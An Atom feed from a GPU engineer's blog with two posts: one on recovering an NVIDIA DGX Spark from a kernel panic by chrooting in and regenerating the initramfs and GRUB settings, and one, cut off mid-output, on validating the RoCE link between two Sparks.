<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom"><title>Alessandro Sangiorgi — GPU Performance Engineer</title><link href="https://contact.alessandrosangiorgi.net/" rel="alternate" type="text/html"/><link href="https://contact.alessandrosangiorgi.net/atom.xml" rel="self" type="application/atom+xml"/><id>https://contact.alessandrosangiorgi.net/</id><updated>2026-06-28T20:14:12Z</updated><author><name>Alessandro Sangiorgi</name><email>mail@alessandrosangiorgi.net</email><uri>https://contact.alessandrosangiorgi.net/</uri></author><entry><title>Unboxing Two DGX Sparks, and Recovering One From a Kernel Panic on First Boot</title><link href="https://contact.alessandrosangiorgi.net/posts/dgx-spark-kernel-panic-recovery/" rel="alternate" type="text/html"/><id>https://contact.alessandrosangiorgi.net/posts/dgx-spark-kernel-panic-recovery/</id><published>2026-06-28T00:00:00Z</published><updated>2026-06-28T00:00:00Z</updated><summary>The DGX Spark setup is a phone-style hotspot-and-wizard flow that pulls down new software and firmware over Wi-Fi. On one of my two units that update left me staring at 'Unable to mount root fs on unknown-block(0,0)'. Here's the out-of-box experience, and exactly how I recovered the bricked one — including where my recovery diverged from NVIDIA's official guide.</summary><content type="html">&lt;p&gt;I recently took delivery of &lt;strong&gt;two NVIDIA DGX Sparks&lt;/strong&gt; (the GB10 units I later wired together for the &lt;a href="/posts/dgx-spark-nccl-collective-latency/"&gt;small-message NCCL latency benchmark&lt;/a&gt;). The out-of-box experience is genuinely slick — right up until one of the two bricked itself on the very first software update and dropped me into a kernel panic. This post is the other half of the story: the setup flow, and exactly how I brought the dead one back.&lt;/p&gt;
&lt;h2 id="the-out-of-box-setup-flow"&gt;The out-of-box setup flow&lt;/h2&gt;
&lt;p&gt;There&amp;rsquo;s no monitor-and-keyboard dance to start with. The Spark behaves like a new phone:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Power it on and it broadcasts its own &lt;strong&gt;Wi-Fi hotspot&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;You join that hotspot from your laptop or phone, which drops you into the Spark&amp;rsquo;s setup &lt;strong&gt;wizard&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Through the wizard you hand the Spark your real Wi-Fi credentials.&lt;/li&gt;
&lt;li&gt;Once it&amp;rsquo;s online, it pulls down and installs the &lt;strong&gt;latest software and firmware&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Clean and friendly. Unit one sailed through it. Unit two got to the &amp;ldquo;install the new software and firmware&amp;rdquo; step, applied a kernel update, rebooted — and never came back.&lt;/p&gt;
&lt;h2 id="the-panic"&gt;The panic&lt;/h2&gt;
&lt;p&gt;Instead of the dashboard, I got this:&lt;/p&gt;
&lt;p&gt;&lt;img src="/media/kernel-panic.jpg" alt="DGX Spark kernel panic — unable to mount root fs on unknown-block(0,0)"&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;VFS: Unable to mount root fs on unknown-block(0,0)
Kernel panic - not syncing
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is the classic &amp;ldquo;the kernel booted but there&amp;rsquo;s no initramfs to hand it a root filesystem&amp;rdquo; failure. NVIDIA has an &lt;a href="https://forums.developer.nvidia.com/t/recovery-from-kernel-panic-after-dashboard-update-unable-to-mount-root-fs-on-unknown-block-0-0/368939"&gt;official forum guide for exactly this&lt;/a&gt;, and it&amp;rsquo;s worth reading in full because it explains the &lt;em&gt;why&lt;/em&gt;: the dashboard-driven kernel update (in their case &lt;code&gt;6.17.0-1008-nvidia&lt;/code&gt; → &lt;code&gt;6.17.0-1014-nvidia&lt;/code&gt;) installs the new kernel image but the post-install script dies before generating the &lt;code&gt;initrd.img&lt;/code&gt;. GRUB then boots a kernel that has no initramfs, and because these headless units ship with &lt;code&gt;GRUB_TIMEOUT=0&lt;/code&gt; there&amp;rsquo;s no boot menu to fall back to a working kernel. You go straight into the wall.&lt;/p&gt;
&lt;p&gt;The fix is conceptually simple: boot from external media, &lt;code&gt;chroot&lt;/code&gt; into the installed system, regenerate the initramfs, and fix GRUB so this can&amp;rsquo;t silently brick you again.&lt;/p&gt;
&lt;h2 id="building-the-recovery-usb"&gt;Building the recovery USB&lt;/h2&gt;
&lt;p&gt;A couple of things tripped me up here, so be ready for them.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Get the &lt;em&gt;server&lt;/em&gt; ISO, not desktop.&lt;/strong&gt; I needed &lt;code&gt;ubuntu-26.04-live-server-arm64.iso&lt;/code&gt;. The desktop arm64 image simply didn&amp;rsquo;t show up as an option for me — server is the one to grab.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Write it with &lt;code&gt;dd&lt;/code&gt;.&lt;/strong&gt; On my Linux desktop:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo dd &lt;span style="color:#ff7b72"&gt;if&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;ubuntu-26.04-live-server-arm64.iso &lt;span style="color:#79c0ff"&gt;of&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;/dev/sdb &lt;span style="color:#79c0ff"&gt;bs&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;4M &lt;span style="color:#79c0ff"&gt;status&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;progress &lt;span style="color:#79c0ff"&gt;oflag&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;sync
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;⚠️ The &lt;code&gt;of=/dev/sdb&lt;/code&gt; is &lt;strong&gt;my&lt;/strong&gt; USB stick. Yours may be &lt;code&gt;/dev/sdc&lt;/code&gt;, &lt;code&gt;/dev/sdd&lt;/code&gt;, etc. Check with &lt;code&gt;lsblk&lt;/code&gt; first and triple-check the letter — &lt;code&gt;dd&lt;/code&gt; will happily overwrite the wrong disk without asking.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;You need a USB-A → USB-C cable (or adapter).&lt;/strong&gt; The DGX Spark only exposes &lt;strong&gt;USB-C&lt;/strong&gt; ports, and my flash drive was USB-A. Without that cable I&amp;rsquo;d have been stuck before I started.&lt;/p&gt;
&lt;h2 id="following-the-guide--and-where-mine-diverged"&gt;Following the guide — and where mine diverged&lt;/h2&gt;
&lt;p&gt;NVIDIA&amp;rsquo;s guide assumes you boot the &lt;em&gt;live&lt;/em&gt; environment, then jump to a TTY with &lt;code&gt;Ctrl+Alt+F2&lt;/code&gt; and log in as &lt;code&gt;ubuntu&lt;/code&gt;. &lt;strong&gt;That&amp;rsquo;s not what happened for me.&lt;/strong&gt; For some reason the live image never gave me a live session — it went &lt;em&gt;straight into the installer&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;So I improvised, and it worked perfectly: on the &lt;strong&gt;first screen of the installer wizard&lt;/strong&gt;, there&amp;rsquo;s a &lt;strong&gt;Help&lt;/strong&gt; menu in the top corner, and from there you can &lt;strong&gt;&amp;ldquo;Enter shell&amp;rdquo;&lt;/strong&gt;. That shell is a perfectly good root environment — exactly what the guide needs. From there everything in the guide applies.&lt;/p&gt;
&lt;p&gt;Once in the shell, mount the real root partition and &lt;code&gt;chroot&lt;/code&gt; into it (per the guide):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo -i
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mount /dev/nvme0n1p2 /mnt/spark
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mount --bind /dev /mnt/spark/dev
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mount --bind /dev/pts /mnt/spark/dev/pts
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mount --bind /proc /mnt/spark/proc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mount --bind /sys /mnt/spark/sys
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mount --bind /run /mnt/spark/run
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mount /dev/nvme0n1p1 /mnt/spark/boot/efi
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;chroot /mnt/spark /bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then regenerate the missing initramfs for the kernel that failed (use &lt;em&gt;your&lt;/em&gt; version string):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;update-initramfs -c -k 6.17.0-1014-nvidia
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The guide then has you clear the half-finished package state with DKMS:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dkms autoinstall --force -k 6.17.0-1014-nvidia
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dpkg --configure -a
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Here&amp;rsquo;s my second divergence: the &lt;code&gt;dkms&lt;/code&gt; command did not work for me.&lt;/strong&gt; It errored out rather than completing cleanly. But — and this is the important part — &lt;strong&gt;it didn&amp;rsquo;t matter&lt;/strong&gt;. I let &lt;code&gt;dpkg --configure -a&lt;/code&gt; and the GRUB steps run anyway, and the recovery still went through and the system came back fully working. So if your &lt;code&gt;dkms&lt;/code&gt; line throws an error, don&amp;rsquo;t panic (again): keep going.&lt;/p&gt;
&lt;p&gt;Finally, regenerate GRUB and — critically — give yourself a boot menu so a future bad update doesn&amp;rsquo;t trap you headless:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;update-grub
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Edit &lt;code&gt;/etc/default/grub&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;GRUB_TIMEOUT_STYLE=menu
GRUB_TIMEOUT=5
&lt;/code&gt;&lt;/pre&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;update-grub
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then exit the chroot, unmount, and reboot:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;umount -l /mnt/spark/sys
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;umount /mnt/spark/proc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;umount /mnt/spark/dev/pts
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;umount /mnt/spark/dev
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;umount /mnt/spark/boot/efi
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;umount /mnt/spark
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;reboot
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Pull the USB on the way down, and the Spark boots back into a healthy system.&lt;/p&gt;
&lt;h2 id="takeaways"&gt;Takeaways&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The hotspot-and-wizard setup is lovely when it works — but the dashboard update path can brick a unit with &lt;strong&gt;zero&lt;/strong&gt; local recovery affordance (&lt;code&gt;GRUB_TIMEOUT=0&lt;/code&gt;). Setting a non-zero GRUB timeout the moment a unit is healthy is the single best insurance.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Have an ARM64 Ubuntu &lt;em&gt;Server&lt;/em&gt; live USB and a USB-A→USB-C cable ready before you need them.&lt;/strong&gt; You do not want to be sourcing a USB-C cable while one of your boxes is down.&lt;/li&gt;
&lt;li&gt;If the live image dumps you straight into the installer, the installer&amp;rsquo;s &lt;strong&gt;Help → shell&lt;/strong&gt; is a perfectly good rescue environment.&lt;/li&gt;
&lt;li&gt;A failing &lt;code&gt;dkms&lt;/code&gt; step isn&amp;rsquo;t necessarily fatal — &lt;code&gt;update-initramfs&lt;/code&gt; + &lt;code&gt;dpkg --configure -a&lt;/code&gt; + &lt;code&gt;update-grub&lt;/code&gt; were what actually mattered for me.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Two Sparks, one near-heart-attack, and a happy ending. Next stop: wiring them together — which is the &lt;a href="/posts/dgx-spark-nccl-collective-latency/"&gt;NCCL latency post&lt;/a&gt;.&lt;/p&gt;</content><category term="dgx-spark"/><category term="gb10"/><category term="nvidia"/><category term="kernel-panic"/><category term="ubuntu"/><category term="recovery"/><category term="initramfs"/><category term="arm64"/><category term="hardware"/></entry><entry><title>Wiring Two DGX Sparks: One Script to Detect, Configure, and Validate the RoCE Link</title><link href="https://contact.alessandrosangiorgi.net/posts/dgx-spark-roce-link-validation/" rel="alternate" type="text/html"/><id>https://contact.alessandrosangiorgi.net/posts/dgx-spark-roce-link-validation/</id><published>2026-06-28T00:00:00Z</published><updated>2026-06-28T00:00:00Z</updated><summary>You cabled two DGX Sparks together with the ConnectX-7 stacking cable. Now: is the link actually at line rate, or silently firmware-throttled? Are your collectives on RDMA, or quietly falling back to TCP? Which of the FOUR RoCE devices is even the live one — and why is it named differently on each box? Here is a single self-contained bash script that detects every port from sysfs, installs the tooling, and validates the link end-to-end (bandwidth, latency, and a real NCCL all-reduce over RoCE) with green/red gates — plus the traps it encodes. Measured on two GB10 Sparks: 109 Gbps/rail, 1.45 µs RDMA, 29.5 µs small-message all-reduce.</summary><content type="html">&lt;p&gt;You plug the ConnectX-7 stacking cable into two DGX Sparks, assign a couple of IPs, and&amp;hellip; now what? Before you trust that link with any distributed workload, you want to &lt;em&gt;know&lt;/em&gt; three things are true:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The link runs at line rate (~100 Gbps/rail), not pinned at ~13 Gbps by a firmware-throttle trap.&lt;/li&gt;
&lt;li&gt;RDMA latency is in the single-digit microseconds.&lt;/li&gt;
&lt;li&gt;NCCL collectives actually ride the RoCE fabric — not a silent TCP fallback that &lt;em&gt;looks&lt;/em&gt; like it works but runs 50× slower.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Every one of those can fail &lt;em&gt;silently&lt;/em&gt;, reporting a plausible-but-wrong number. And before you can even test them, you have to answer a surprisingly annoying question: &lt;strong&gt;which network device is the live one?&lt;/strong&gt; On a fresh Spark the answer is not obvious, and it is not the same name on both boxes.&lt;/p&gt;
&lt;p&gt;This post is the thing I wanted and couldn&amp;rsquo;t find: a single, self-contained script that detects every port straight from the kernel, installs the tooling, and validates the link end-to-end with pass/fail gates. The whole script is at the bottom — copy it, save it, run it. First, the parts worth understanding.&lt;/p&gt;
&lt;h2 id="the-hardware-reality-four-roce-devices-two-of-them-live"&gt;The hardware reality: four RoCE devices, two of them live&lt;/h2&gt;
&lt;p&gt;Run a detection sweep on a fresh GB10 Spark and you don&amp;rsquo;t get one NIC — you get &lt;strong&gt;four&lt;/strong&gt; RoCE devices:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; DEVICE STATE NETDEV IPv4
rocep1s0f0 ACTIVE enp1s0f0np0 -
rocep1s0f1 DOWN enp1s0f1np1 -
roceP2p1s0f0 ACTIVE enP2p1s0f0np0 -
roceP2p1s0f1 DOWN enP2p1s0f1np1 -
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Two PCI paths (&lt;code&gt;p1s0&lt;/code&gt; and &lt;code&gt;P2p1s0&lt;/code&gt;), each a dual-port device. The QSFP stacking cable lights up &lt;strong&gt;two rails&lt;/strong&gt; — the two &lt;code&gt;f0&lt;/code&gt; ports come up &lt;code&gt;ACTIVE&lt;/code&gt;; the unused &lt;code&gt;f1&lt;/code&gt; cage stays &lt;code&gt;DOWN&lt;/code&gt;. One rail (&lt;code&gt;rocep1s0f0&lt;/code&gt;) is plenty to validate the link; the second (&lt;code&gt;roceP2p1s0f0&lt;/code&gt;) is there if you want to bond both for peak ~200 Gbps later.&lt;/p&gt;
&lt;p&gt;Here is the trap that wastes an afternoon: &lt;strong&gt;PCI enumeration can name the live port differently on each box.&lt;/strong&gt; On one pair I&amp;rsquo;ve run, the cabled device came up as &lt;code&gt;...f1&lt;/code&gt; on one Spark and &lt;code&gt;...f0&lt;/code&gt; on the other. So you &lt;em&gt;cannot&lt;/em&gt; hardcode a device name into your NCCL config and copy it to both nodes — one of them will be pointing at a dead port. You have to detect per-box, and configure each rank with &lt;em&gt;its own&lt;/em&gt; device.&lt;/p&gt;
&lt;p&gt;The script below handles this by reading port state directly from &lt;code&gt;/sys/class/infiniband/*/ports/1/state&lt;/code&gt; (which works before any tooling is installed), picking the &lt;code&gt;ACTIVE&lt;/code&gt; device that has an IPv4 assigned, and — crucially — feeding NCCL &lt;em&gt;both&lt;/em&gt; device names (&lt;code&gt;NCCL_IB_HCA=devA,devB&lt;/code&gt;) so each rank matches whichever one is its own.&lt;/p&gt;
&lt;h2 id="step-1--find-the-link-interface-on-each-box"&gt;Step 1 — Find the link interface on each box&lt;/h2&gt;
&lt;p&gt;No install needed; this is pure sysfs:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;for&lt;/span&gt; p in /sys/class/infiniband/*/ports/1/state; &lt;span style="color:#ff7b72"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#79c0ff"&gt;dev&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;$(&lt;/span&gt;basename &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;$(&lt;/span&gt;dirname &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;$(&lt;/span&gt;dirname &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;$(&lt;/span&gt;dirname &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$p&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;)&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;)&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;)&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#79c0ff"&gt;st&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;$(&lt;/span&gt;sed &lt;span style="color:#a5d6ff"&gt;&amp;#39;s/.*: //&amp;#39;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$p&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#79c0ff"&gt;net&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;$(&lt;/span&gt;ls &lt;span style="color:#a5d6ff"&gt;&amp;#34;/sys/class/infiniband/&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$dev&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;/device/net&amp;#34;&lt;/span&gt; 2&amp;gt;/dev/null | head -1&lt;span style="color:#ff7b72"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#79c0ff"&gt;ip&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;$(&lt;/span&gt;ip -4 -o addr show dev &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$net&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; 2&amp;gt;/dev/null | awk &lt;span style="color:#a5d6ff"&gt;&amp;#39;{print $4}&amp;#39;&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; printf &lt;span style="color:#a5d6ff"&gt;&amp;#39;%-14s %-8s %-16s %s\n&amp;#39;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$dev&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$st&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;net&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;:-&lt;/span&gt;-&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;ip&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;:-&lt;/span&gt;-&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Note the &lt;code&gt;ACTIVE&lt;/code&gt; device and its netdev (e.g. &lt;code&gt;enp1s0f0np0&lt;/code&gt;).&lt;/p&gt;
&lt;h2 id="step-2--put-the-two-rails-on-their-own-subnet"&gt;Step 2 — Put the two rails on their own subnet&lt;/h2&gt;
&lt;p&gt;Give the link a private &lt;code&gt;/30&lt;/code&gt; — do &lt;strong&gt;not&lt;/strong&gt; route this over your management Ethernet or Wi-Fi:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# box A (rank 0):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ip addr add 10.0.0.1/30 dev enp1s0f0np0 &lt;span style="color:#ff7b72;font-weight:bold"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sudo ip link set enp1s0f0np0 up mtu &lt;span style="color:#a5d6ff"&gt;9000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# box B (rank 1):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ip addr add 10.0.0.2/30 dev enp1s0f0np0 &lt;span style="color:#ff7b72;font-weight:bold"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sudo ip link set enp1s0f0np0 up mtu &lt;span style="color:#a5d6ff"&gt;9000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# confirm the cable actually connects those two ports:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ping -c3 10.0.0.2 &lt;span style="color:#8b949e;font-style:italic"&gt;# from box A&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If the ping fails, the cable is crossed to the &lt;em&gt;other&lt;/em&gt; rail on one end — assign that box&amp;rsquo;s IP to its &lt;code&gt;enP2p1s0f0np0&lt;/code&gt; instead and ping again. (&lt;code&gt;ip addr add&lt;/code&gt; is not persistent across reboots; once it works, pin it in netplan/systemd-networkd.)&lt;/p&gt;
&lt;h2 id="step-3--the-three-validations-and-the-traps-in-each"&gt;Step 3 — The three validations (and the traps in each)&lt;/h2&gt;
&lt;h3 id="bandwidth--ib_write_bw-catches-the-firmware-throttle"&gt;Bandwidth — &lt;code&gt;ib_write_bw&lt;/code&gt; (catches the firmware throttle)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# server (box A):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ib_write_bw -d rocep1s0f0 -i &lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt; -F --report_gbits
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# client (box B):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ib_write_bw -d rocep1s0f0 -i &lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt; -F --report_gbits 10.0.0.1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;pre tabindex="0"&gt;&lt;code&gt; #bytes #iterations BW peak[Gb/sec] BW average[Gb/sec] MsgRate[Mpps]
65536 5000 109.01 109.00 0.207902
